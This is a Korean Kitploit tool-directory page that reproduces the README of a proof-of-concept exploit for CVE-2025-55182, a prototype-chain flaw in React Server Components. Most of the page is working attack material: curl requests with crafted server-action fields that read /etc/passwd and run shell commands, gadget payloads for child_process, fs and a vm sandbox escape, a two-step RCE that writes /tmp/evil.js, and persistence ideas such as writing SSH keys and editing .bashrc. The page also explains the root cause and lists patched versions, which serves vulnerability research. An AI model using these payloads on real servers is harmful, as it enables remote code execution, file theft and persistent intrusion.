Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
exploit-CVE-2025-55182-poc — 이 POC는 실제 `react-server-dom-webpack@19.0.0` 취약 코드를 사용하여 CVE-2025-55182를 시연합니다. | Kitploit
도구/GitHubGitHub/pa2sw0rd/exploit-cve-2025-55182-poc
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPapers & ResearchLearning & EducationRemote Access ToolPayload Development

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHub
pa2sw0rd/exploit-cve-2025-55182-poc

exploit-CVE-2025-55182-poc

이 POC는 실제 `[email protected]` 취약 코드를 사용하여 CVE-2025-55182를 시연합니다.

저장소 보기
18개월 전아직 검토되지 않음

CVE-2025-55182 - React 서버 컴포넌트 프로토타입 체인 취약점

이 POC는 실제 [email protected] 취약 코드를 사용하여 CVE-2025-55182를 시연합니다.

CVE-2025-55182 긴급 수정 가이드: Next.js/React RSC 취약점 완전 분석 및 완화 (CVSS 10.0)

이 저장소는 https://github.com/ejpir/CVE-2025-55182-poc 에서 포크되었으며 아직 검증되지 않았습니다! 주의하고 신중히 확인하세요!

빠른 시작

root@kitploit:~
# Install dependencies
npm install

# Start vulnerable server (port 3002)
npm start

# Run RCE exploit
npm run exploit

예상 출력

root@kitploit:~
=== CVE-2025-55182 - RCE via vm.runInThisContext ===

Test 1: Direct call to vm#runInThisContext with code
1+1 = {"success":true,"result":"2"}

Test 2: vm.runInThisContext with require
RCE attempt: {"success":true,"result":"uid=501(nick) gid=20(staff)..."}

NPM 스크립트

root@kitploit:~
# Servers
npm start              # Start main server (server-realistic.js, port 3002)
npm run start:legacy   # Start legacy server (server.js, port 3002)
npm run start:module   # Start module server (port 3003) - hypothetical, see note below

# Exploits (use with npm start)
npm run exploit            # RCE demo (uses vm, works with any: vm, child_process, fs)
npm run exploit:all        # Test all gadgets
npm run exploit:persistence # Persistence attacks (fs-only)
npm run exploit:research   # Prototype chain research

# Hypothetical exploits (use with start:module)
npm run exploit:module     # Two-step RCE via module#_load
npm run exploit:indirect   # Two-step RCE with proof file

참고: module 익스플로잇은 가상의 것입니다. module 내장 모듈은 프로덕션 앱에서 거의 번들되지 않습니다. 이는 fs + module만 사용 가능할 때의 이론적 공격 경로를 보여줍니다 (vm/child_process 없음). 실제로 fs가 있는 앱은 대개 sharp, puppeteer, execa 같은 의존성을 통해 child_process도 함께 가지고 있습니다.

개별 가젯 테스트

root@kitploit:~
# Start server first
npm start

# Test fs read
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'

# Test command execution
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'

# Test vm code execution
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}'

# Test prototype chain access
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_ID_abc123def456#constructor='

주요 파일

서버

파일포트설명

익스플로잇 스크립트

server-realistic.js 작동 방식

실제 웹팩 번들을 시뮬레이션하며, 앱이 의존성을 통해 위험한 모듈을 흔히 번들로 묶는 상황을 재현합니다:

root@kitploit:~
// Bundled modules (what gets included when using common packages)
const BUNDLED_MODULES = {
  'actions-chunk-123': { /* user's server actions */ },
  'fs': require('fs'),           // via fs-extra, gray-matter, multer
  'child_process': require('child_process'), // via execa, shelljs, puppeteer
  'vm': require('vm'),           // via ejs, pug, handlebars
  'util': require('util'),
};

__webpack_require__ 함수는 BUNDLED_MODULES에서만 모듈을 로드하여 실제 웹팩 동작을 시뮬레이션합니다.

취약점

근본 원인

requireModule()에서 내보내기가 hasOwnProperty 검사 없이 대괄호 표기법으로 접근됩니다:

root@kitploit:~
// VULNERABLE (React 19.0.0)
return moduleExports[metadata[2]];  // Accesses prototype chain!

// PATCHED (React 19.2.1)
if (hasOwnProperty.call(moduleExports, metadata[2]))
  return moduleExports[metadata[2]];

공격 벡터

  1. 바운드된 액션 메타데이터와 함께 $ACTION_REF_0 전송
  2. id: 'vm#runInThisContext'가 vm 모듈을 로드하고 runInThisContext 내보내기에 접근
  3. bound 배열이 함수의 인자가 됨
  4. 액션이 호출될 때: runInThisContext(CODE)가 임의 코드를 실행

검증된 모든 RCE 가젯

가젯 페이로드 예제

Execute shell command (whoami):

root@kitploit:~
{ id: 'child_process#execSync', bound: ['whoami'] }

Read sensitive files:

root@kitploit:~
{ id: 'fs#readFileSync', bound: ['/etc/passwd'] }

Write files to disk:

root@kitploit:~
{ id: 'fs#writeFileSync', bound: ['/tmp/pwned.txt', 'CVE-2025-55182'] }

Execute arbitrary JavaScript:

root@kitploit:~
{
  id: 'vm#runInThisContext',
  bound: ['process.mainModule.require("child_process").execSync("id").toString()']
}

Sandbox escape (vm.runInNewContext):

root@kitploit:~
{
  id: 'vm#runInNewContext',
  bound: ['this.constructor.constructor("return process")().mainModule.require("child_process").execSync("whoami").toString()']
}

대체 공격 경로

vm 또는 child_process가 필요한가요?

직접 RCE를 위해서: 네, 다음 중 하나가 필요합니다:

  • vm module (runInThisContext, runInNewContext)
  • child_process module (execSync, execFileSync, spawnSync)

간접 RCE (fs만): 아니요! fs만으로도 가능:

  • ~/.ssh/authorized_keys에 쓰기 → SSH 접근
  • ~/.bashrc에 추가 → 다음 로그인 시 코드 실행
  • node_modules/* 덮어쓰기 → 앱 재시작 시 RCE
  • package.json postinstall 수정 → 다음 npm install 시 RCE

가상: module#_load를 이용한 2단계 RCE

참고: 이는 가상의 것입니다. module 내장 모듈은 프로덕션에서 거의 번들되지 않습니다.

root@kitploit:~
// Step 1: Write malicious module
{ id: 'fs#writeFileSync', bound: ['/tmp/evil.js', 'module.exports = require("child_process").execSync("id")'] }

// Step 2: Load it
{ id: 'module#_load', bound: ['/tmp/evil.js'] }
// Result: RCE!

비교 결과

버전공격결과
React 19.0.0vm#runInThisContext✓ RCE 달성
React 19.2.1vm#runInThisContext✗ 차단됨

패치된 버전 테스트

root@kitploit:~
cd /tmp/react-rsc-patched
npm install [email protected]
npm start
# Attacks will fail

취약한 npm 패키지

위험한 모듈을 포함하는 인기 npm 패키지에 대한 연구는 VULNERABLE-PACKAGES.md를 참조하세요:

모듈주간 다운로드 수인기 패키지
fs145M+fs-extra, gray-matter, multer, sharp

영향을 받는 버전

  • react-server-dom-webpack: < 19.2.0
  • react-server-dom-turbopack: < 19.2.0

수정된 버전

  • react-server-dom-webpack: >= 19.2.0
  • react-server-dom-turbopack: >= 19.2.0
  • Next.js: 15.0.5+
도구 다운로드
src/server-realistic.js3002메인 서버 - 일반 모듈(fs, vm, child_process)이 포함된 웹팩 번들 시뮬레이션
src/server.js3002레거시 서버 (직접 require 사용)
src/server-module-test.js3003module + fs 서버 (연구용)
파일설명
exploit-rce-v4.jsvm#runInThisContext를 통한 기본 RCE
exploit-all-gadgets.js모든 RCE 가젯 테스트 (vm, child_process, fs)
exploit-module-load.jsfs + module#_load를 통한 2단계 RCE
exploit-indirect-rce.js증명 파일 생성을 통한 2단계 RCE
exploit-persistence.js지속성 공격 (SSH 키, .bashrc)
exploit-research.js프로토타입 체인 연구
가젯상태설명
vm#runInThisContext✓현재 컨텍스트에서 임의 JS 실행
vm#runInNewContext✓샌드박스에서 실행 (쉽게 탈출 가능)
child_process#execSync✓직접 셸 명령 실행
child_process#execFileSync✓바이너리 파일 실행
child_process#spawnSync✓프로세스 생성 (객체 반환)
module#_load✓JS 파일 로드 및 실행 (fs와 2단계)
fs#readFileSync✓임의 파일 읽기
fs#writeFileSync✓임의 파일 쓰기
child_process
103M+
execa, shelljs, puppeteer, sharp
vm21M+ejs, pug, handlebars, vm2